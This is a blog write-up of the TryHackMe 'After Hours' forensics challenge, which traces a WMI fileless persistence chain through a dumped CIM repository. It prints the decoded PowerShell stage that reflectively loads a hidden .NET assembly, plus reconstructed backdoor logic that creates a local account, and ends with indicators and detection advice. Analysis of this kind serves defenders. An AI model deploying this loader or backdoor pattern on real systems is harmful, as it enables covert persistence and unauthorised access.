DEV Community

Cover image for TryHackMe : After Hours Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : After Hours Writeup

Summary

The provided archive contains a raw dump of a Windows CIM repository - the
backing store for WMI (INDEX.BTR, MAPPING1.MAP, MAPPING2.MAP,
MAPPING3.MAP, OBJECTS.DATA, normally found at
C:\Windows\System32\wbem\Repository\). Buried inside OBJECTS.DATA is a
three-stage fileless persistence chain: a CommandLineEventConsumer (classic
WMI persistence) launches PowerShell, which pulls a second-stage payload out
of a custom, disguised WMI class property, decompresses it into a .NET
assembly, and loads it entirely in memory. That assembly is a machine-name
gated backdoor account creator - its net user /add command line contains
the flag, base64-encoded as the account password.

CommandLineEventConsumer (WMI persistence)
        |
        v
powershell.exe -enc <base64> (stage 1 script)
        |
        v
reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData (disguised as telemetry)
        |
        v
base64-decode -> raw DEFLATE decompress -> in-memory .NET assembly (stage 2)
        |
        v
Assembly.Load(...).EntryPoint.Invoke() - runs entirely in the PowerShell process
        |
        v
checks Environment.MachineName == "bytelotusdc"
        |
        v
cmd.exe /c net user patch <base64> /add
        |
        v
base64 decodes to the flag
Enter fullscreen mode Exit fullscreen mode

Identifying the Artifact

The archive extracts to five files with no extension hints, so the first
step was figuring out what they actually are:

unzip attachments.zip
ls -la
Enter fullscreen mode Exit fullscreen mode
INDEX.BTR
MAPPING1.MAP
MAPPING2.MAP
MAPPING3.MAP
OBJECTS.DATA
Enter fullscreen mode Exit fullscreen mode

file reported all five as generic data - no magic bytes to go on
directly. The filenames themselves are the giveaway, though: INDEX.BTR,
MAPPING<n>.MAP, and OBJECTS.DATA is the exact file layout Windows uses
for its WMI object repository (the "CIM repository"). Three rotating
MAPPING*.MAP files (a common pattern for crash-consistent writes - two or
three generations of the same mapping table so a crash mid-write doesn't
corrupt the whole database) all but confirmed it, and a quick string scan
sealed it:

strings -e l -n 4 OBJECTS.DATA | grep -iE "EventFilter|EventConsumer|CIM_|__Win32Provider"
Enter fullscreen mode Exit fullscreen mode
CIM_UserDevice
ActiveScriptEventConsumer
CommandLineEventConsumer
__EventFilter
__FilterToConsumerBinding
Enter fullscreen mode Exit fullscreen mode

These are stock WMI schema class names (__EventFilter,
__FilterToConsumerBinding, and the built-in event consumer classes) - this
is a genuine CIM repository, most likely lifted from root\subscription /
root\default on a compromised or lab Windows host.

Ruling Out the Easy Path

The obvious first move - grep the raw bytes for the flag format directly -
came up empty:

import glob

targets = [b'THM{', 'T\x00H\x00M\x00{\x00'.encode('latin1')]
for fn in glob.glob('*'):
    data = open(fn, 'rb').read()
    for t in targets:
        if t in data:
            print(fn, "hit")
Enter fullscreen mode Exit fullscreen mode

No hits in either ASCII or UTF-16LE, in any of the five files. A broader
case-insensitive sweep for flag, thm, ctf did return hits - but every
single one turned out to be a false positive from legitimate WMI schema text
(algorithm, CIM_ProductFRU, PredictFailure, and similar stock property
descriptions). This is an unmodified, stock CIM schema on the surface - the
interesting content had to be hidden inside an actual instance, not the
schema itself.

Finding the Persistence Mechanism

Rather than trying to fully reverse-engineer the CIM object-store binary
format (a real undertaking - Mandiant's flare-wmi/python-cim project
exists specifically because this format is nontrivial and undocumented by
Microsoft), a targeted search for known WMI-abuse indicators was much faster
and got a hit immediately:

import re

data = open('OBJECTS.DATA', 'rb').read()
for kw in [b'powershell', b'-enc', b'IEX', b'FromBase64String', b'cmd.exe']:
    idxs = [m.start() for m in re.finditer(re.escape(kw), data)]
    if idxs:
        print(kw, len(idxs), idxs[:5])
Enter fullscreen mode Exit fullscreen mode
b'powershell' 6 [1308878, 10254542, 18188606, 18421999, 22173902]
b'-enc' 4 [1308918, 10254582, 22173942, 22477046]
Enter fullscreen mode Exit fullscreen mode

Pulling the context around one of the -enc hits landed directly on the
persistence object:

...CommandLineEventConsumer\x00\x00cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQAg...
Enter fullscreen mode Exit fullscreen mode

A CommandLineEventConsumer is one of the two classic WMI event-consumer
types abused for fileless persistence (the other being
ActiveScriptEventConsumer) - paired with a __EventFilter and a
__FilterToConsumerBinding, it lets an attacker run an arbitrary command
line every time a WMI event fires (logon, a timer interval, process
creation, etc.), with no file ever touching disk for the initial trigger.
The same object appeared four times at different offsets in the file -
consistent with the CIM repository's own internal versioning (older
generations of the same object surviving in unallocated/log regions), which
is itself a normal and expected artifact of how the repository is written.

Decoding Stage 1 (PowerShell)

-enc payloads in PowerShell are always base64-encoded UTF-16LE - decoded
directly:

import base64

b64 = b"JABmAGkAbABlACAAPQAg..."  # full string extracted from OBJECTS.DATA
decoded = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
print(decoded.decode('utf-16le'))
Enter fullscreen mode Exit fullscreen mode
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($file),[IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@()))|Out-Null
Enter fullscreen mode Exit fullscreen mode

This script doesn't do anything malicious by itself - its entire job is to
read a second payload out of a disguised WMI class property
(Win32_HardwareTelemetry.ConfigData - a plausible-sounding but entirely
custom class, not a real Windows telemetry class), base64-decode it, run it
through a raw DEFLATE decompressor, and load the result directly into memory
as a .NET assembly via reflection - then invoke its entry point. No second
file ever touches disk; the whole second stage lives only inside the
PowerShell process's memory.

Extracting Stage 2 (the .NET assembly)

Located and extracted the Win32_HardwareTelemetry.ConfigData string value
from OBJECTS.DATA (found via the same class/property name pair, immediately
following a string\x00\x00 type marker in the object's property table):

import re, base64, zlib

data = open('OBJECTS.DATA', 'rb').read()
idx = data.find(b'Win32_HardwareTelemetry')
marker = b'string\x00\x00'
pos = data.find(marker, idx)
start = pos + len(marker)
end = data.find(b'\x00', start)
b64 = data[start:end]

compressed = base64.b64decode(b64 + b'=' * (-len(b64) % 4))
decompressed = zlib.decompress(compressed, -15)  # raw DEFLATE, no zlib header
open('payload.exe', 'wb').write(decompressed)
Enter fullscreen mode Exit fullscreen mode
file payload.exe
Enter fullscreen mode Exit fullscreen mode
payload.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Enter fullscreen mode Exit fullscreen mode

A genuine 4 KB .NET assembly dropped straight out of a WMI property value -
this confirms the entire chain was a working fileless persistence /
logic-bomb setup, not just a red herring.

Reversing the Payload

ASCII strings gave the .NET metadata (type names, method names) but not the
runtime string literals, which .NET stores separately in the User String
(#US) heap as UTF-16:

strings -n 4 payload.exe
Enter fullscreen mode Exit fullscreen mode
<Module>
updates.exe
Program
AfterHours
Environment
get_MachineName
ProcessStartInfo
set_FileName
set_Arguments
Console
WriteLine
Enter fullscreen mode Exit fullscreen mode

This much confirms the shape of the logic: read the machine name, compare
it, and conditionally start a process. The actual comparison value and the
command line only showed up in the UTF-16 string scan:

strings -e l -n 4 payload.exe
Enter fullscreen mode Exit fullscreen mode
bytelotusdc
cmd.exe
/c net user patch <REDACTED_B64> /add
Execution halted: Environment mismatch.
Enter fullscreen mode Exit fullscreen mode

Putting the decompiled logic back together:

if (Environment.MachineName.Equals("bytelotusdc")) {
    var psi = new ProcessStartInfo {
        FileName = "cmd.exe",
        Arguments = "/c net user patch <REDACTED_B64> /add",
        WindowStyle = ProcessWindowStyle.Hidden,
        CreateNoWindow = true
    };
    Process.Start(psi);
} else {
    Console.WriteLine("Execution halted: Environment mismatch.");
}
Enter fullscreen mode Exit fullscreen mode

This is a machine-name-gated backdoor: on a host named exactly
bytelotusdc (almost certainly the domain controller in the "Byte Lotus"
environment this repository was pulled from), it silently creates a local
account named patch with a base64-encoded password - and does nothing
observable at all on any other host, which is what kept it from surfacing in
the earlier broad string searches for flag/thm/ctf.

Decoding the Flag

import base64
print(base64.b64decode('<REDACTED_B64>').decode())
Enter fullscreen mode Exit fullscreen mode
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

The backdoor's password is the flag, base64-encoded - a fitting final step
for a challenge built entirely around obfuscation layered on top of
obfuscation.

Key Findings

# Layer Technique Purpose
1 WMI persistence CommandLineEventConsumer running powershell.exe -enc ... Execution trigger, no file dropped for stage 1
2 Stage 1 (PowerShell) Reads a custom WMI class property (Win32_HardwareTelemetry.ConfigData), base64 + raw-DEFLATE decodes it Retrieves stage 2 from a disguised, fileless storage location
3 Stage 2 (.NET assembly) Loaded and invoked entirely via Reflection.Assembly.Load(...) in memory Runs the actual payload logic with no second file on disk
4 Payload logic Environment.MachineName equality check Limits execution to a specific named host, evading generic detection/sandboxes
5 Payload action net user patch <base64> /add Creates a hidden local backdoor account; password doubles as the flag

Indicators of Compromise

  • WMI class Win32_HardwareTelemetry with a string property ConfigData - not a real Windows/CIM class, and any class holding a large base64 blob in an otherwise plausible-sounding property is worth treating as suspicious.
  • CommandLineEventConsumer invoking powershell.exe with -enc and referencing [WmiClass] / .Properties[...] in the decoded command - a strong signal of WMI-as-storage abuse, not just WMI-as-trigger.
  • Local account named patch created outside of normal patch-management tooling, on a host matching the hardcoded bytelotusdc machine name check.
  • net user ... /add launched as a child of cmd.exe, itself a child of powershell.exe, itself triggered by WmiPrvSE.exe / scrcons.exe rather than an interactive logon - the expected process lineage for WMI event consumer execution.

Detection & Mitigation Recommendations

  • Monitor and alert on __EventFilter, __EventConsumer, and __FilterToConsumerBinding instance creation in root\subscription (and root\default on older systems) - legitimate use of WMI event subscriptions outside of known management tooling (SCCM, monitoring agents) is rare.
  • Treat any custom, non-Microsoft WMI class as suspicious if it stores large string/blob properties - this is a known technique for fileless payload storage precisely because the CIM repository is rarely inspected and persists across reboots.
  • Enable and review PowerShell Script Block Logging (Event ID 4104) - it captures the decoded content of -enc payloads, which would have surfaced this entire chain immediately without manual base64/DEFLATE work.
  • Alert on Reflection.Assembly.Load / .EntryPoint.Invoke patterns in captured script blocks - reflective, in-memory .NET assembly loading from PowerShell is a strong red flag with very few legitimate use cases.
  • Baseline and alert on local account creation (net user /add, New-LocalUser) outside of change-managed windows, especially when the parent process chain traces back through WmiPrvSE.exe.

Attack Chain

[CIM repository dump: INDEX.BTR + MAPPING1-3.MAP + OBJECTS.DATA]
        |
        v
[identified as C:\Windows\System32\wbem\Repository via filenames + schema strings]
        |
        v
[direct "THM{" / "flag" / "ctf" string search - all false positives, stock WMI schema]
        |
        v
[targeted search for -enc / powershell / IEX -> hits CommandLineEventConsumer]
        |
        v
[CommandLineEventConsumer runs: cmd /C powershell.exe -enc <base64>]
        |
        v
[stage 1 decoded: reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData]
        |
        v
[ConfigData located in OBJECTS.DATA -> base64-decoded -> raw DEFLATE decompressed]
        |
        v
[stage 2 recovered: 4KB .NET assembly (payload.exe), loaded via Reflection.Assembly.Load]
        |
        v
[reversed: checks Environment.MachineName == "bytelotusdc"]
        |
        v
[if matched: cmd.exe /c net user patch <base64> /add]
        |
        v
[base64 password decoded -> flag]
Enter fullscreen mode Exit fullscreen mode

Top comments (0)